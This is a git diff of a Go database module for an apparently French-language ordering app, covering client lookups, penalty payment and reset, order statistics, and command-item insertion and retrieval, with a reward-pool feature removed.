return d.GDB.Transaction(func(tx *gorm.DB) error {
|
|
||||||
return tx.Exec(`
|
|
||||||
UPDATE products p
|
|
||||||
SET stock = stock + ci.quantite, updated_at = CURRENT_TIMESTAMP
|
|
||||||
FROM command_items ci
|
|
||||||
WHERE ci.command_id = ? AND ci.product_id = p.id`, commandID).Error
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|||||||
+118
-154
@@ -32,18 +32,19 @@ func (d *Database) CreateClient(client *models.Client) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetClientByID récupère un client par son ID
|
||||||
func (d *Database) GetClientByID(id int) (*models.Client, error) {
|
func (d *Database) GetClientByID(id int) (*models.Client, error) {
|
||||||
var row struct {
|
var row struct {
|
||||||
ID int `gorm:"column:id"`
|
ID int `gorm:"column:id"`
|
||||||
Username string `gorm:"column:username"`
|
Username string `gorm:"column:username"`
|
||||||
Password string `gorm:"column:password"`
|
Password string `gorm:"column:password"`
|
||||||
Nom string `gorm:"column:nom"`
|
Nom string `gorm:"column:nom"`
|
||||||
Prenom string `gorm:"column:prenom"`
|
Prenom string `gorm:"column:prenom"`
|
||||||
Telephone string `gorm:"column:telephone"`
|
Telephone string `gorm:"column:telephone"`
|
||||||
Command int `gorm:"column:command"`
|
Command int `gorm:"column:command"`
|
||||||
Amende float64 `gorm:"column:amende"`
|
Amende float64 `gorm:"column:amende"`
|
||||||
PointsExtraJSON []byte `gorm:"column:points_extra"`
|
PointsExtraJSON []byte `gorm:"column:points_extra"`
|
||||||
CreatedAt time.Time `gorm:"column:created_at"`
|
CreatedAt time.Time `gorm:"column:created_at"`
|
||||||
}
|
}
|
||||||
err := d.GDB.Raw(`
|
err := d.GDB.Raw(`
|
||||||
SELECT id, username, password, nom, prenom, telephone, command, amende,
|
SELECT id, username, password, nom, prenom, telephone, command, amende,
|
||||||
@@ -75,6 +76,7 @@ func (d *Database) GetClientByID(id int) (*models.Client, error) {
|
|||||||
return client, nil
|
return client, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetAllClients récupère tous les clients
|
||||||
func (d *Database) GetAllClients() ([]*models.Client, error) {
|
func (d *Database) GetAllClients() ([]*models.Client, error) {
|
||||||
var rows []struct {
|
var rows []struct {
|
||||||
ID int `gorm:"column:id"`
|
ID int `gorm:"column:id"`
|
||||||
@@ -188,6 +190,44 @@ func (d *Database) UpdateClientPasswordAndClearFlag(clientID int, hashedPassword
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetClientStats récupère les statistiques d'un client
|
||||||
|
func (d *Database) GetClientStats(clientID int) (map[string]interface{}, error) {
|
||||||
|
client, err := d.GetClientByID(clientID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var statsResult struct {
|
||||||
|
Total int `gorm:"column:total"`
|
||||||
|
Pending int `gorm:"column:pending"`
|
||||||
|
Completed int `gorm:"column:completed"`
|
||||||
|
}
|
||||||
|
if err := d.GDB.Raw(`
|
||||||
|
SELECT
|
||||||
|
COUNT(*) as total,
|
||||||
|
COALESCE(SUM(CASE WHEN status = 'pending' OR status = 'livre' THEN 1 ELSE 0 END), 0) as pending,
|
||||||
|
COALESCE(SUM(CASE WHEN status = 'approved' THEN 1 ELSE 0 END), 0) as completed
|
||||||
|
FROM commandes WHERE username = ?`, client.Username).Scan(&statsResult).Error; err != nil {
|
||||||
|
log.Printf("⚠️ Erreur calcul stats: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
stats := map[string]interface{}{
|
||||||
|
"id": clientID,
|
||||||
|
"username": client.Username,
|
||||||
|
"nom": client.Nom,
|
||||||
|
"prenom": client.Prenom,
|
||||||
|
"telephone": client.Telephone,
|
||||||
|
"total_commands": statsResult.Total,
|
||||||
|
"pending_commands": statsResult.Pending,
|
||||||
|
"completed_commands": statsResult.Completed,
|
||||||
|
"points_extra": client.PointsExtra,
|
||||||
|
"amende": client.Amende,
|
||||||
|
"member_since": client.CreatedAt,
|
||||||
|
}
|
||||||
|
|
||||||
|
return stats, nil
|
||||||
|
}
|
||||||
|
|
||||||
func (d *Database) GetClientAmende(username string) (float64, error) {
|
func (d *Database) GetClientAmende(username string) (float64, error) {
|
||||||
var result struct {
|
var result struct {
|
||||||
Amende float64 `gorm:"column:amende"`
|
Amende float64 `gorm:"column:amende"`
|
||||||
@@ -202,6 +242,37 @@ func (d *Database) GetClientAmende(username string) (float64, error) {
|
|||||||
return result.Amende, nil
|
return result.Amende, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) PayClientPenalties(username string, amountPaid float64) error {
|
||||||
|
log.Printf("💳 [PayClientPenalties] Paiement de %.2f points pour %s", amountPaid, username)
|
||||||
|
|
||||||
|
currentAmount, err := d.GetClientAmende(username)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
if currentAmount <= 0 {
|
||||||
|
return fmt.Errorf("aucune pénalité à payer")
|
||||||
|
}
|
||||||
|
|
||||||
|
if amountPaid < currentAmount {
|
||||||
|
return fmt.Errorf("montant insuffisant: %.2f payé, %.2f requis", amountPaid, currentAmount)
|
||||||
|
}
|
||||||
|
|
||||||
|
result := d.GDB.Model(&models.Client{}).Where("username = ?", username).Update("amende", 0.0)
|
||||||
|
if result.Error != nil {
|
||||||
|
log.Printf("❌ [PayClientPenalties] Erreur UPDATE: %v", result.Error)
|
||||||
|
return fmt.Errorf("erreur paiement pénalités: %w", result.Error)
|
||||||
|
}
|
||||||
|
if result.RowsAffected == 0 {
|
||||||
|
return fmt.Errorf("client non trouvé")
|
||||||
|
}
|
||||||
|
|
||||||
|
cacheKey := fmt.Sprintf("client:%s", username)
|
||||||
|
Redis.Del(RedisCtx, cacheKey)
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// IncrementClientCommandCount incrémente le compteur de commandes du client
|
// IncrementClientCommandCount incrémente le compteur de commandes du client
|
||||||
func (d *Database) IncrementClientCommandCount(username string) error {
|
func (d *Database) IncrementClientCommandCount(username string) error {
|
||||||
result := d.GDB.Model(&models.Client{}).Where("username = ?", username).UpdateColumn("command", gorm.Expr("command + 1"))
|
result := d.GDB.Model(&models.Client{}).Where("username = ?", username).UpdateColumn("command", gorm.Expr("command + 1"))
|
||||||
@@ -342,7 +413,7 @@ func (d *Database) SetClientTwoFAEnabled(clientID int, enabled bool) error {
|
|||||||
return d.GDB.Model(&models.Client{}).Where("id = ?", clientID).Update("two_fa_enabled", enabled).Error
|
return d.GDB.Model(&models.Client{}).Where("id = ?", clientID).Update("two_fa_enabled", enabled).Error
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) GetClientPenaltiesInfo(username string) (map[string]any, error) {
|
func (d *Database) GetClientPenaltiesInfo(username string) (map[string]interface{}, error) {
|
||||||
amende, err := d.GetClientAmende(username)
|
amende, err := d.GetClientAmende(username)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -357,13 +428,13 @@ func (d *Database) GetClientPenaltiesInfo(username string) (map[string]any, erro
|
|||||||
cancellationHistory, err := d.GetClientCancellationHistory(username)
|
cancellationHistory, err := d.GetClientCancellationHistory(username)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("⚠️ [GetClientPenaltiesInfo] Erreur récup historique: %v", err)
|
log.Printf("⚠️ [GetClientPenaltiesInfo] Erreur récup historique: %v", err)
|
||||||
cancellationHistory = map[string]any{
|
cancellationHistory = map[string]interface{}{
|
||||||
"cancellations_count": cancellationsCount,
|
"cancellations_count": cancellationsCount,
|
||||||
"next_penalty": 20,
|
"next_penalty": 20,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
info := map[string]any{
|
info := map[string]interface{}{
|
||||||
"username": username,
|
"username": username,
|
||||||
"total_penalty": amende,
|
"total_penalty": amende,
|
||||||
"cancellations_count": cancellationsCount,
|
"cancellations_count": cancellationsCount,
|
||||||
@@ -374,6 +445,21 @@ func (d *Database) GetClientPenaltiesInfo(username string) (map[string]any, erro
|
|||||||
return info, nil
|
return info, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CheckClientCanOrder vérifie si un client peut passer commande (pas de pénalités impayées)
|
||||||
|
func (d *Database) CheckClientCanOrder(username string) (bool, float64, error) {
|
||||||
|
amende, err := d.GetClientAmende(username)
|
||||||
|
if err != nil {
|
||||||
|
return false, 0, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if amende > 0 {
|
||||||
|
log.Printf("⚠️ [CheckClientCanOrder] Client %s bloqué: %.2f points de pénalités", username, amende)
|
||||||
|
return false, amende, fmt.Errorf("pénalités impayées: %.2f points", amende)
|
||||||
|
}
|
||||||
|
|
||||||
|
return true, 0, nil
|
||||||
|
}
|
||||||
|
|
||||||
// ResetClientPoint réinitialise les points d'un client.
|
// ResetClientPoint réinitialise les points d'un client.
|
||||||
// extraPoolKey != "" → reset points_extra[extraPoolKey] uniquement
|
// extraPoolKey != "" → reset points_extra[extraPoolKey] uniquement
|
||||||
// extraPoolKey == "" (poolIdx=-1) → reset total points_extra
|
// extraPoolKey == "" (poolIdx=-1) → reset total points_extra
|
||||||
@@ -409,13 +495,17 @@ func (d *Database) ResetClientPoint(username string, poolIdx int, extraPoolKey s
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) ResetClientPenalties(username string, _ bool) error {
|
func (d *Database) ResetClientPenalties(username string, resetCancellationsCount bool) error {
|
||||||
log.Printf("🔄 [ResetClientPenalties] Reset amende + cancellations_count pour %s", username)
|
log.Printf("🔄 [ResetClientPenalties] Reset pour %s (reset_count=%v)", username, resetCancellationsCount)
|
||||||
|
|
||||||
result := d.GDB.Exec(
|
var query string
|
||||||
`UPDATE clients SET amende = 0, cancellations_count = 0, updated_at = CURRENT_TIMESTAMP WHERE username = ?`,
|
if resetCancellationsCount {
|
||||||
username,
|
query = `UPDATE clients SET amende = 0, cancellations_count = 0, updated_at = CURRENT_TIMESTAMP WHERE username = ?`
|
||||||
)
|
} else {
|
||||||
|
query = `UPDATE clients SET amende = 0, updated_at = CURRENT_TIMESTAMP WHERE username = ?`
|
||||||
|
}
|
||||||
|
|
||||||
|
result := d.GDB.Exec(query, username)
|
||||||
if result.Error != nil {
|
if result.Error != nil {
|
||||||
log.Printf("❌ [ResetClientPenalties] Erreur UPDATE: %v", result.Error)
|
log.Printf("❌ [ResetClientPenalties] Erreur UPDATE: %v", result.Error)
|
||||||
return fmt.Errorf("erreur reset pénalités: %w", result.Error)
|
return fmt.Errorf("erreur reset pénalités: %w", result.Error)
|
||||||
@@ -430,12 +520,12 @@ func (d *Database) ResetClientPenalties(username string, _ bool) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) GetAllClientsWithPenalties() ([]map[string]any, error) {
|
func (d *Database) GetAllClientsWithPenalties() ([]map[string]interface{}, error) {
|
||||||
var rows []struct {
|
var rows []struct {
|
||||||
Username string `gorm:"column:username"`
|
Username string `gorm:"column:username"`
|
||||||
Amende float64 `gorm:"column:amende"`
|
Amende float64 `gorm:"column:amende"`
|
||||||
CancellationsCount int `gorm:"column:cancellations_count"`
|
CancellationsCount int `gorm:"column:cancellations_count"`
|
||||||
UpdatedAt any `gorm:"column:updated_at"`
|
UpdatedAt interface{} `gorm:"column:updated_at"`
|
||||||
}
|
}
|
||||||
err := d.GDB.Raw(`
|
err := d.GDB.Raw(`
|
||||||
SELECT username, amende, COALESCE(cancellations_count, 0) as cancellations_count, updated_at
|
SELECT username, amende, COALESCE(cancellations_count, 0) as cancellations_count, updated_at
|
||||||
@@ -447,9 +537,9 @@ func (d *Database) GetAllClientsWithPenalties() ([]map[string]any, error) {
|
|||||||
return nil, fmt.Errorf("erreur récupération clients: %w", err)
|
return nil, fmt.Errorf("erreur récupération clients: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
clients := make([]map[string]any, 0, len(rows))
|
clients := make([]map[string]interface{}, 0, len(rows))
|
||||||
for _, row := range rows {
|
for _, row := range rows {
|
||||||
clients = append(clients, map[string]any{
|
clients = append(clients, map[string]interface{}{
|
||||||
"username": row.Username,
|
"username": row.Username,
|
||||||
"total_penalty": row.Amende,
|
"total_penalty": row.Amende,
|
||||||
"cancellations_count": row.CancellationsCount,
|
"cancellations_count": row.CancellationsCount,
|
||||||
@@ -462,7 +552,7 @@ func (d *Database) GetAllClientsWithPenalties() ([]map[string]any, error) {
|
|||||||
return clients, nil
|
return clients, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) GetClientPenaltiesStats() (map[string]any, error) {
|
func (d *Database) GetClientPenaltiesStats() (map[string]interface{}, error) {
|
||||||
var result struct {
|
var result struct {
|
||||||
ClientsWithPenalties int `gorm:"column:clients_with_penalties"`
|
ClientsWithPenalties int `gorm:"column:clients_with_penalties"`
|
||||||
TotalPenalties float64 `gorm:"column:total_penalties"`
|
TotalPenalties float64 `gorm:"column:total_penalties"`
|
||||||
@@ -484,7 +574,7 @@ func (d *Database) GetClientPenaltiesStats() (map[string]any, error) {
|
|||||||
return nil, fmt.Errorf("erreur récupération stats: %w", err)
|
return nil, fmt.Errorf("erreur récupération stats: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
stats := map[string]any{
|
stats := map[string]interface{}{
|
||||||
"clients_with_penalties": result.ClientsWithPenalties,
|
"clients_with_penalties": result.ClientsWithPenalties,
|
||||||
"total_penalties": result.TotalPenalties,
|
"total_penalties": result.TotalPenalties,
|
||||||
"average_penalty": result.AvgPenalty,
|
"average_penalty": result.AvgPenalty,
|
||||||
@@ -607,51 +697,6 @@ func (d *Database) CalculateAndAddPointsForCommandTx(tx *gorm.DB, commandID int,
|
|||||||
|
|
||||||
log.Printf("🎉 [CalcPointsTx] SUCCÈS - %d points [%s] → %s", totalPoints, pointCategory, username)
|
log.Printf("🎉 [CalcPointsTx] SUCCÈS - %d points [%s] → %s", totalPoints, pointCategory, username)
|
||||||
|
|
||||||
// ✅ ÉTAPE 3: Déduire les points des récompenses reçues dans cette commande
|
|
||||||
var rewardItems []struct {
|
|
||||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
|
||||||
}
|
|
||||||
if err := tx.Raw(`
|
|
||||||
SELECT reward_pool_key FROM command_items
|
|
||||||
WHERE command_id = ? AND is_reward = true AND reward_pool_key != ''
|
|
||||||
`, commandID).Scan(&rewardItems).Error; err != nil {
|
|
||||||
log.Printf("⚠️ [CalcPointsTx] Erreur query reward items: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, ri := range rewardItems {
|
|
||||||
if settings.PointsReward == nil || settings.PointsReward.Threshold <= 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
threshold := settings.PointsReward.Threshold
|
|
||||||
poolKey := ri.RewardPoolKey
|
|
||||||
// Déduire threshold points de points_extra[poolKey] (plancher à 0)
|
|
||||||
if err := tx.Exec(`
|
|
||||||
UPDATE clients
|
|
||||||
SET points_extra = jsonb_set(
|
|
||||||
COALESCE(points_extra, '{}'::jsonb),
|
|
||||||
ARRAY[?],
|
|
||||||
to_jsonb(GREATEST(0, COALESCE((points_extra->>?)::int, 0) - ?))
|
|
||||||
), updated_at = CURRENT_TIMESTAMP
|
|
||||||
WHERE username = ?
|
|
||||||
`, poolKey, poolKey, threshold, username).Error; err != nil {
|
|
||||||
log.Printf("⚠️ [CalcPointsTx] Erreur déduction points reward pool=%s: %v", poolKey, err)
|
|
||||||
} else {
|
|
||||||
log.Printf("🎁 [CalcPointsTx] Récompense reçue: -%d pts pool=%s → %s", threshold, poolKey, username)
|
|
||||||
}
|
|
||||||
// Décrémenter points_redeemed[poolKey] (plancher à 0)
|
|
||||||
if err := tx.Exec(`
|
|
||||||
UPDATE clients
|
|
||||||
SET points_redeemed = jsonb_set(
|
|
||||||
COALESCE(points_redeemed, '{}'::jsonb),
|
|
||||||
ARRAY[?],
|
|
||||||
to_jsonb(GREATEST(0, COALESCE((points_redeemed->>?)::int, 0) - 1))
|
|
||||||
), updated_at = CURRENT_TIMESTAMP
|
|
||||||
WHERE username = ?
|
|
||||||
`, poolKey, poolKey, username).Error; err != nil {
|
|
||||||
log.Printf("⚠️ [CalcPointsTx] Erreur décrément redeemed pool=%s: %v", poolKey, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return totalPoints, pointCategory, nil
|
return totalPoints, pointCategory, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -689,84 +734,3 @@ func (d *Database) CanUserAccessCommand(
|
|||||||
|
|
||||||
return exists, err
|
return exists, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetClientPointsAndRewards retourne les points cumulés et les récompenses réclamées pour un client.
|
|
||||||
func (d *Database) GetClientPointsAndRewards(username string) (pointsExtra map[string]int, pointsRedeemed map[string]int, err error) {
|
|
||||||
var row struct {
|
|
||||||
PointsExtraJSON []byte `gorm:"column:points_extra"`
|
|
||||||
PointsRedeemedJSON []byte `gorm:"column:points_redeemed"`
|
|
||||||
}
|
|
||||||
if err = d.GDB.Raw(`
|
|
||||||
SELECT COALESCE(points_extra, '{}'::jsonb) as points_extra,
|
|
||||||
COALESCE(points_redeemed, '{}'::jsonb) as points_redeemed
|
|
||||||
FROM clients WHERE username = ?`, username).Scan(&row).Error; err != nil {
|
|
||||||
return nil, nil, fmt.Errorf("erreur lecture points client: %w", err)
|
|
||||||
}
|
|
||||||
pointsExtra = map[string]int{}
|
|
||||||
pointsRedeemed = map[string]int{}
|
|
||||||
if len(row.PointsExtraJSON) > 0 {
|
|
||||||
json.Unmarshal(row.PointsExtraJSON, &pointsExtra)
|
|
||||||
}
|
|
||||||
if len(row.PointsRedeemedJSON) > 0 {
|
|
||||||
json.Unmarshal(row.PointsRedeemedJSON, &pointsRedeemed)
|
|
||||||
}
|
|
||||||
return pointsExtra, pointsRedeemed, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ClaimPoolReward réclame une récompense pour un pool donné si le client a assez de points.
|
|
||||||
// Retourne le nombre de récompenses disponibles restantes après la réclamation.
|
|
||||||
func (d *Database) ClaimPoolReward(username, poolKey string, threshold int) (remainingAvailable int, err error) {
|
|
||||||
var points, redeemed int
|
|
||||||
|
|
||||||
err = d.GDB.Transaction(func(tx *gorm.DB) error {
|
|
||||||
var row struct {
|
|
||||||
Points int `gorm:"column:pts"`
|
|
||||||
Redeemed int `gorm:"column:redeemed"`
|
|
||||||
}
|
|
||||||
if err := tx.Raw(`
|
|
||||||
SELECT
|
|
||||||
COALESCE((points_extra->>?)::int, 0) as pts,
|
|
||||||
COALESCE((points_redeemed->>?)::int, 0) as redeemed
|
|
||||||
FROM clients WHERE username = ? FOR UPDATE`,
|
|
||||||
poolKey, poolKey, username).Scan(&row).Error; err != nil {
|
|
||||||
return fmt.Errorf("erreur lecture: %w", err)
|
|
||||||
}
|
|
||||||
points = row.Points
|
|
||||||
redeemed = row.Redeemed
|
|
||||||
|
|
||||||
earned := points / threshold
|
|
||||||
available := earned - redeemed
|
|
||||||
if available <= 0 {
|
|
||||||
return fmt.Errorf("pas de récompense disponible pour ce pool")
|
|
||||||
}
|
|
||||||
|
|
||||||
return tx.Exec(`
|
|
||||||
UPDATE clients
|
|
||||||
SET points_redeemed = jsonb_set(
|
|
||||||
COALESCE(points_redeemed, '{}'::jsonb),
|
|
||||||
ARRAY[?],
|
|
||||||
to_jsonb(COALESCE((points_redeemed->>?)::int, 0) + 1)
|
|
||||||
), updated_at = CURRENT_TIMESTAMP
|
|
||||||
WHERE username = ?`,
|
|
||||||
poolKey, poolKey, username).Error
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
|
|
||||||
earned := points / threshold
|
|
||||||
remainingAvailable = earned - (redeemed + 1)
|
|
||||||
return remainingAvailable, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ResetClientRedeemed remet à zéro les récompenses réclamées (admin).
|
|
||||||
func (d *Database) ResetClientRedeemed(username, poolKey string) error {
|
|
||||||
if poolKey != "" {
|
|
||||||
return d.GDB.Exec(`
|
|
||||||
UPDATE clients SET points_redeemed = points_redeemed - ?, updated_at = CURRENT_TIMESTAMP
|
|
||||||
WHERE username = ?`, poolKey, username).Error
|
|
||||||
}
|
|
||||||
return d.GDB.Exec(`
|
|
||||||
UPDATE clients SET points_redeemed = '{}'::jsonb, updated_at = CURRENT_TIMESTAMP
|
|
||||||
WHERE username = ?`, username).Error
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package db
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"slices"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
@@ -80,11 +79,13 @@ func validateItemStatus(status string) error {
|
|||||||
|
|
||||||
status = strings.ToLower(strings.TrimSpace(status))
|
status = strings.ToLower(strings.TrimSpace(status))
|
||||||
|
|
||||||
if !slices.Contains(validStatuses, status) {
|
for _, valid := range validStatuses {
|
||||||
return fmt.Errorf("statut invalide: %s", status)
|
if status == valid {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return fmt.Errorf("statut invalide: %s", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
@@ -97,8 +98,6 @@ func (d *Database) InsertCommandItemWithClientInfo(
|
|||||||
productID int,
|
productID int,
|
||||||
quantite float64,
|
quantite float64,
|
||||||
prix float64,
|
prix float64,
|
||||||
isReward bool,
|
|
||||||
rewardPoolKey string,
|
|
||||||
clientUsername, clientNom, clientPrenom, clientTelephone, deliveryAddress string,
|
clientUsername, clientNom, clientPrenom, clientTelephone, deliveryAddress string,
|
||||||
) error {
|
) error {
|
||||||
log.Printf("📝 [InsertCommandItemWithClientInfo] START - commandID=%d, produit=%s", commandID, produit)
|
log.Printf("📝 [InsertCommandItemWithClientInfo] START - commandID=%d, produit=%s", commandID, produit)
|
||||||
@@ -116,11 +115,8 @@ func (d *Database) InsertCommandItemWithClientInfo(
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// Les articles récompense ont prix=0, on saute la validation de prix pour eux
|
if err := validatePrix(prix); err != nil {
|
||||||
if !isReward {
|
return err
|
||||||
if err := validatePrix(prix); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := validateUsername(clientUsername); err != nil {
|
if err := validateUsername(clientUsername); err != nil {
|
||||||
@@ -166,12 +162,10 @@ func (d *Database) InsertCommandItemWithClientInfo(
|
|||||||
err := d.GDB.Exec(`
|
err := d.GDB.Exec(`
|
||||||
INSERT INTO command_items (
|
INSERT INTO command_items (
|
||||||
command_id, produit, product_id, quantite, prix,
|
command_id, produit, product_id, quantite, prix,
|
||||||
is_reward, reward_pool_key,
|
|
||||||
client_username, client_nom, client_prenom, client_telephone, delivery_address,
|
client_username, client_nom, client_prenom, client_telephone, delivery_address,
|
||||||
status, created_at, updated_at
|
status, created_at, updated_at
|
||||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'pending', CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)`,
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'pending', CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)`,
|
||||||
commandID, produit, productID, quantite, prix,
|
commandID, produit, productID, quantite, prix,
|
||||||
isReward, rewardPoolKey,
|
|
||||||
clientUsername, clientNom, clientPrenom, clientTelephone, deliveryAddress,
|
clientUsername, clientNom, clientPrenom, clientTelephone, deliveryAddress,
|
||||||
).Error
|
).Error
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -187,7 +181,7 @@ func (d *Database) InsertCommandItemWithClientInfo(
|
|||||||
// GET COMMAND ITEMS - VERSION SÉCURISÉE + FIX NULL
|
// GET COMMAND ITEMS - VERSION SÉCURISÉE + FIX NULL
|
||||||
// ============================================
|
// ============================================
|
||||||
|
|
||||||
func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
func (d *Database) GetCommandItems(commandID int) ([]map[string]interface{}, error) {
|
||||||
log.Printf("📦 [GetCommandItems] START - commandID=%d", commandID)
|
log.Printf("📦 [GetCommandItems] START - commandID=%d", commandID)
|
||||||
|
|
||||||
// ✅ VALIDATION
|
// ✅ VALIDATION
|
||||||
@@ -197,31 +191,28 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var rows []struct {
|
var rows []struct {
|
||||||
ID int `gorm:"column:id"`
|
ID int `gorm:"column:id"`
|
||||||
CommandID int `gorm:"column:command_id"`
|
CommandID int `gorm:"column:command_id"`
|
||||||
Produit string `gorm:"column:produit"`
|
Produit string `gorm:"column:produit"`
|
||||||
ProductID *int64 `gorm:"column:product_id"`
|
ProductID *int64 `gorm:"column:product_id"`
|
||||||
Quantite float64 `gorm:"column:quantite"`
|
Quantite float64 `gorm:"column:quantite"`
|
||||||
Prix float64 `gorm:"column:prix"`
|
Prix float64 `gorm:"column:prix"`
|
||||||
IsReward bool `gorm:"column:is_reward"`
|
ClientUsername string `gorm:"column:client_username"`
|
||||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
ClientNom string `gorm:"column:client_nom"`
|
||||||
ClientUsername string `gorm:"column:client_username"`
|
ClientPrenom string `gorm:"column:client_prenom"`
|
||||||
ClientNom string `gorm:"column:client_nom"`
|
ClientTelephone string `gorm:"column:client_telephone"`
|
||||||
ClientPrenom string `gorm:"column:client_prenom"`
|
DeliveryAddress *string `gorm:"column:delivery_address"`
|
||||||
ClientTelephone string `gorm:"column:client_telephone"`
|
Status *string `gorm:"column:status"`
|
||||||
DeliveryAddress *string `gorm:"column:delivery_address"`
|
CreatedAt time.Time `gorm:"column:created_at"`
|
||||||
Status *string `gorm:"column:status"`
|
UpdatedAt time.Time `gorm:"column:updated_at"`
|
||||||
CreatedAt time.Time `gorm:"column:created_at"`
|
CommandStatus *string `gorm:"column:command_status"`
|
||||||
UpdatedAt time.Time `gorm:"column:updated_at"`
|
CommandAddress *string `gorm:"column:command_address"`
|
||||||
CommandStatus *string `gorm:"column:command_status"`
|
TotalPrix float64 `gorm:"column:total_prix"`
|
||||||
CommandAddress *string `gorm:"column:command_address"`
|
ReferralUsed float64 `gorm:"column:referral_used"`
|
||||||
TotalPrix float64 `gorm:"column:total_prix"`
|
LivreurAssign *string `gorm:"column:livreur_assign"`
|
||||||
ReferralUsed float64 `gorm:"column:referral_used"`
|
CommandCreatedAt *time.Time `gorm:"column:command_created_at"`
|
||||||
LivreurAssign *string `gorm:"column:livreur_assign"`
|
Category string `gorm:"column:category"`
|
||||||
CommandCreatedAt *time.Time `gorm:"column:command_created_at"`
|
ClientOrderNumber int `gorm:"column:client_order_number"`
|
||||||
Category string `gorm:"column:category"`
|
|
||||||
Unit string `gorm:"column:unit"`
|
|
||||||
ClientOrderNumber int `gorm:"column:client_order_number"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
err := d.GDB.Raw(`
|
err := d.GDB.Raw(`
|
||||||
@@ -232,8 +223,6 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
|||||||
ci.product_id,
|
ci.product_id,
|
||||||
ci.quantite,
|
ci.quantite,
|
||||||
ci.prix,
|
ci.prix,
|
||||||
ci.is_reward,
|
|
||||||
ci.reward_pool_key,
|
|
||||||
ci.client_username,
|
ci.client_username,
|
||||||
ci.client_nom,
|
ci.client_nom,
|
||||||
ci.client_prenom,
|
ci.client_prenom,
|
||||||
@@ -248,8 +237,7 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
|||||||
c.referral_used,
|
c.referral_used,
|
||||||
c.livreur_assign,
|
c.livreur_assign,
|
||||||
c.created_at as command_created_at,
|
c.created_at as command_created_at,
|
||||||
COALESCE(p.category, '') as category,
|
p.category,
|
||||||
COALESCE(p.unit, '') as unit,
|
|
||||||
c.client_order_id as client_order_number
|
c.client_order_id as client_order_number
|
||||||
FROM command_items ci
|
FROM command_items ci
|
||||||
LEFT JOIN commandes c ON ci.command_id = c.id
|
LEFT JOIN commandes c ON ci.command_id = c.id
|
||||||
@@ -261,27 +249,25 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
|||||||
return nil, fmt.Errorf("erreur récupération items: %w", err)
|
return nil, fmt.Errorf("erreur récupération items: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
items := make([]map[string]any, 0, len(rows))
|
items := make([]map[string]interface{}, 0, len(rows))
|
||||||
for _, row := range rows {
|
for _, row := range rows {
|
||||||
productIDValue := 0
|
productIDValue := 0
|
||||||
if row.ProductID != nil {
|
if row.ProductID != nil {
|
||||||
productIDValue = int(*row.ProductID)
|
productIDValue = int(*row.ProductID)
|
||||||
}
|
}
|
||||||
|
|
||||||
var commandCreatedAt any
|
var commandCreatedAt interface{}
|
||||||
if row.CommandCreatedAt != nil {
|
if row.CommandCreatedAt != nil {
|
||||||
commandCreatedAt = *row.CommandCreatedAt
|
commandCreatedAt = *row.CommandCreatedAt
|
||||||
}
|
}
|
||||||
|
|
||||||
item := map[string]any{
|
item := map[string]interface{}{
|
||||||
"id": row.ID,
|
"id": row.ID,
|
||||||
"command_id": row.CommandID,
|
"command_id": row.CommandID,
|
||||||
"produit": row.Produit,
